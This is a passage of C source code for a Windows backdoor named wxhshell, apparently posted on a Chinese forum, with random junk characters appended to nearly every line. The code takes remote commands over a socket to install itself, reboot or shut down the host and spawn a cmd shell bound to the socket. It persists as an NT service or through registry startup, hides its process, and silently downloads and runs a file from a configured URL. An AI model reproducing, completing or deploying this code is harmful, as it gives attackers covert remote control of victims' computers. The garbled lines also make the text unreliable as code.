    break; +; C|5y  
  } tW|B\p}  
  // 安装 Ufq"_^4  
  case 'i': { Wv77ef  
    if(Install()) 9K#.0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )FMpfC>An  
    else 3a:(\:?z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [=Np.:Y%  
    break; ({m["d  
    } b/"gkFe#  
  // 卸载 kmy?`P10(z  
  case 'r': { GL@s~_;T6  
    if(Uninstall()) 0+/L?J3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3_fLaf A  
    else cK(}B_D$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IQGIU3O  
    break; [dk|lkj@u\  
    } .W,< ]L '  
  // 显示 wxhshell 所在路径 A{>]M@QC2  
  case 'p': { izY,t!  
    char svExeFile[MAX_PATH]; 3 cT  
    strcpy(svExeFile,"\n\r"); >%qGK-_  
      strcat(svExeFile,ExeFile); ^M,t`r{  
        send(wsh,svExeFile,strlen(svExeFile),0); ;1NZY.pyc  
    break; ppR_y  
    } U> e@m?  
  // 重启 3 V8SKBS  
  case 'b': { _L_SNjA_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oMLpl3pl  
    if(Boot(REBOOT)) 01H3@0Q6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) OZDq]mV  
    else { 5iG|C ~  
    closesocket(wsh); i2N*3X~  
    ExitThread(0); Lg9]kpOpa  
    } K.o?g?&<  
    break; !h?N)9e  
    } cn<9!2a  
  // 关机 `WWf?g  
  case 'd': { 4yQ4lU,r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W;~^3Hz6  
    if(Boot(SHUTDOWN)) %- %/3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Vm{5[:SA  
    else { @F=ZGmq  
    closesocket(wsh); 8}xU]N#EV  
    ExitThread(0); M[<O]p6  
    } t^8#~o!%  
    break; RZOk.~[v  
    } J-Sf9^G  
  // 获取shell '! yyg#  
  case 's': { b2U[W#  
    CmdShell(wsh); `"GD'Oa  
    closesocket(wsh); (cC5zv*E  
    ExitThread(0); fN0D\Mu!)b  
    break; aR}NAL_`w  
  } m"86O:S#d  
  // 退出 BzTm[`(h  
  case 'x': { $T;3*D90  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YyK9UZjI  
    CloseIt(wsh); bTO$B2eh|  
    break; d`({z]W;  
    } *'d5~dz=  
  // 离开 IdzF<>;W  
  case 'q': { %m+Z rH(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +=\S"e[F  
    closesocket(wsh); SkvKzV.R;  
    WSACleanup(); Cgq9~U !  
    exit(1); qpp:h_E  
    break; :w:5;cm V  
        } ]Y;$~qQ  
  } -6+HA9zz@C  
  } pNVao{::5  
G<Lm}  
  // 提示信息 xs.[]>nQN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kwWO1=ikz@  
} _AVCh)Zb  
  } I*K^,XY+  
r)+dK }xl  
  return; E+E5`-V  
} s Uj#:X  
w\$b(HC  
// shell模块句柄 \sp7[}Sw  
int CmdShell(SOCKET sock) |7|mnOBdDf  
{ %*eZoLD g]  
STARTUPINFO si; U> q&+:+  
ZeroMemory(&si,sizeof(si)); !ae@g q'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `e`4[I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -z'@Mh|i6l  
PROCESS_INFORMATION ProcessInfo; vaTXu*   
char cmdline[]="cmd"; M$! 0ikh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \+cQiN b@  
  return 0; Ls|;gewp  
} yMo@ka=v  
b#82G`6r  
// 自身启动模式 N|[a<ut<  
int StartFromService(void) v]!|\]  
{ 2cy{d|c  
typedef struct v7&$(HJ>]L  
{ ?KS9Dh  
  DWORD ExitStatus; *}[@*  
  DWORD PebBaseAddress; M~"]h:m&'v  
  DWORD AffinityMask; hrS/3c'<Z  
  DWORD BasePriority; ~x4Y57  
  ULONG UniqueProcessId; jg%D G2  
  ULONG InheritedFromUniqueProcessId; jj.]R+.G  
}   PROCESS_BASIC_INFORMATION; ceZt%3=5  
3`, m=1[)  
PROCNTQSIP NtQueryInformationProcess; 'JkK0a2D  
. `hlw'20  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c-M&cU+=L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U(J?Q  
y{v*iH<  
  HANDLE             hProcess; =#y&xWxL  
  PROCESS_BASIC_INFORMATION pbi; ]}'WNy6c&x  
EEkO[J[=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PN\2 ^@>_  
  if(NULL == hInst ) return 0; j$8 ~M  
Gi{1u}-0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J+.t \R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hp>me*vzr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a,}{f]  
r@ejU'uz  
  if (!NtQueryInformationProcess) return 0; Aq";z.gi+  
{p2%4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g|nPr)<  
  if(!hProcess) return 0; !r[uwJ=  
7 51\K`L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N0.-#Qa  
` $zi?A:j  
  CloseHandle(hProcess); sZB$+~.:}  
yTZbJx?m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >6rPDzW`Dx  
if(hProcess==NULL) return 0; HX<5i>]0\u  
^8fO3<Jg  
HMODULE hMod; ;)cl Cm46  
char procName[255]; yq&]>ox  
unsigned long cbNeeded; @Z|cUHo  
A Ys<IMQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h|jsi*4NnL  
7J')o^MG  
  CloseHandle(hProcess); IHB{US1G  
>O?EFd>E  
if(strstr(procName,"services")) return 1; // 以服务启动 koAc-o  
u}ab[$Q5  
  return 0; // 注册表启动 X59~)rH,  
} X1" `0r3  
x$A5Ved  
// 主模块 8E$KR:/:4  
int StartWxhshell(LPSTR lpCmdLine) Ymn0?$,D1=  
{ y#T":jpR  
  SOCKET wsl; !5{t1 oJ  
BOOL val=TRUE; z{tyB  
  int port=0; Sc*p7o: A  
  struct sockaddr_in door; 4Ly!:GH3T  
-bE{yT)7  
  if(wscfg.ws_autoins) Install(); 5HJ6[.HO  
f+F /`P%  
port=atoi(lpCmdLine); wddF5EcK0  
? 8'4~1g`}  
if(port<=0) port=wscfg.ws_port; ~rKo5#D  
<k^h&1J#g  
  WSADATA data; ob0clJX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rZzto;NDS  
o"5R^a@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uK t>6DN.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FC)aR[  
  door.sin_family = AF_INET; &&t4G}*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dj %jrtT  
  door.sin_port = htons(port); ?BLd~L+  
8"p>_K=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r$0" Y-a  
closesocket(wsl); H!vvdp?Z  
return 1; T>L6 X:d  
} !O$EVl  
IY :iGn8R  
  if(listen(wsl,2) == INVALID_SOCKET) {  |\,e9U>  
closesocket(wsl); }rOO[,?Y  
return 1; [kn`~hI  
} oOSw> 23x  
  Wxhshell(wsl); sLB{R#Pt  
  WSACleanup(); %n{E/06f  
P$w0.XZa  
return 0; 7';PI!$  
Jzfz y0$  
} &)`A4bf%  
M22 ^.,Z  
// 以NT服务方式启动 ?hmj0i;XC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A$%%;O   
{ B_@>HZ\&  
DWORD   status = 0; b-~Gt]%>m  
  DWORD   specificError = 0xfffffff; 8$@gAlI^  
{{giSW'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Imi_}NB+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N{E >R&,q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _H%ylAt1j  
  serviceStatus.dwWin32ExitCode     = 0; l-M~e]  
  serviceStatus.dwServiceSpecificExitCode = 0; .dl1sv U  
  serviceStatus.dwCheckPoint       = 0; V4xZC\)Gk  
  serviceStatus.dwWaitHint       = 0; Xhi9\wteYw  
R$cg\DD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {n |Ra[9_  
  if (hServiceStatusHandle==0) return; ^oPf>\),C  
~|fd=E%  
status = GetLastError(); g.&&=T  
  if (status!=NO_ERROR) |J~;yO SD  
{ jh}[7M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8[xb+_  
    serviceStatus.dwCheckPoint       = 0; 8m-ryr)  
    serviceStatus.dwWaitHint       = 0; 4Mnne'7  
    serviceStatus.dwWin32ExitCode     = status; Elm/T]6  
    serviceStatus.dwServiceSpecificExitCode = specificError; n,n]V$HFGh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +D$\^ <#  
    return; ^[d)Hk}L  
  } .GkH^9THP  
xS*f{5Hr8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &OWiA;e?f  
  serviceStatus.dwCheckPoint       = 0; FFP>Y*v(  
  serviceStatus.dwWaitHint       = 0; ~` #t?1SP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pbju;h)O!|  
} y{5ZC~Z<!  
orEwP/L:  
// 处理NT服务事件,比如:启动、停止 ?][Mv`ST  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =>/aM7]  
{ ! QP~#a%  
switch(fdwControl) aBol9`6  
{ u[ "Pg  
case SERVICE_CONTROL_STOP: O@?? NF6G  
  serviceStatus.dwWin32ExitCode = 0; l[rIjyL@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P ,5P6Y9  
  serviceStatus.dwCheckPoint   = 0; S'2B  
  serviceStatus.dwWaitHint     = 0; D4;V8(w=#  
  { ]\*g/QV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ym<G.3%1  
  } Z2hRTJJ[A  
  return; NDCZc_  
case SERVICE_CONTROL_PAUSE: Hza{"I*^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?%B%[u  
  break; ZZ?=^g  
case SERVICE_CONTROL_CONTINUE: e9"<.:&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d-39G*;1  
  break; \jZvP`.2  
case SERVICE_CONTROL_INTERROGATE: Rq9v+Xq2  
  break; UiF?Nx~  
}; 1JJQ(b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >8oRO  
} LlX 7g _!  
vM|?;QM  
// 标准应用程序主函数 n%W~+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EKq9m=Ua@o  
{ >wz-p nD  
!:a pu!  
// 获取操作系统版本 @dD70T  
OsIsNt=GetOsVer(); UPUO8W)<Z6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ="<+^$7:k  
4vGkgH<,  
  // 从命令行安装 WE68a!6  
  if(strpbrk(lpCmdLine,"iI")) Install(); >\3=h8zw  
OB l-6W  
  // 下载执行文件 H2|&  
if(wscfg.ws_downexe) { Y0aO/6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e{c%o;m(  
  WinExec(wscfg.ws_filenam,SW_HIDE); jK3% \`o  
} 1}B W   
mgh,)=2cE(  
if(!OsIsNt) { B k#68p  
// 如果时win9x,隐藏进程并且设置为注册表启动 }(O 7tC  
HideProc(); X=mzo\Aos  
StartWxhshell(lpCmdLine); +n9]c~g!T0  
} 0KU,M+_  
else )z$VQ=]"  
  if(StartFromService()) uFL~^vz  
  // 以服务方式启动 7*~ rhQ  
  StartServiceCtrlDispatcher(DispatchTable); 69TQHJ[  
else Y)g<> }F  
  // 普通方式启动 kbBX\*{yh  
  StartWxhshell(lpCmdLine); 7bCTR2e\@w  
$kvF]|<bu  
return 0; Vb|DNl@  
}
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只看该作者 1 发表于: 2006-10-10
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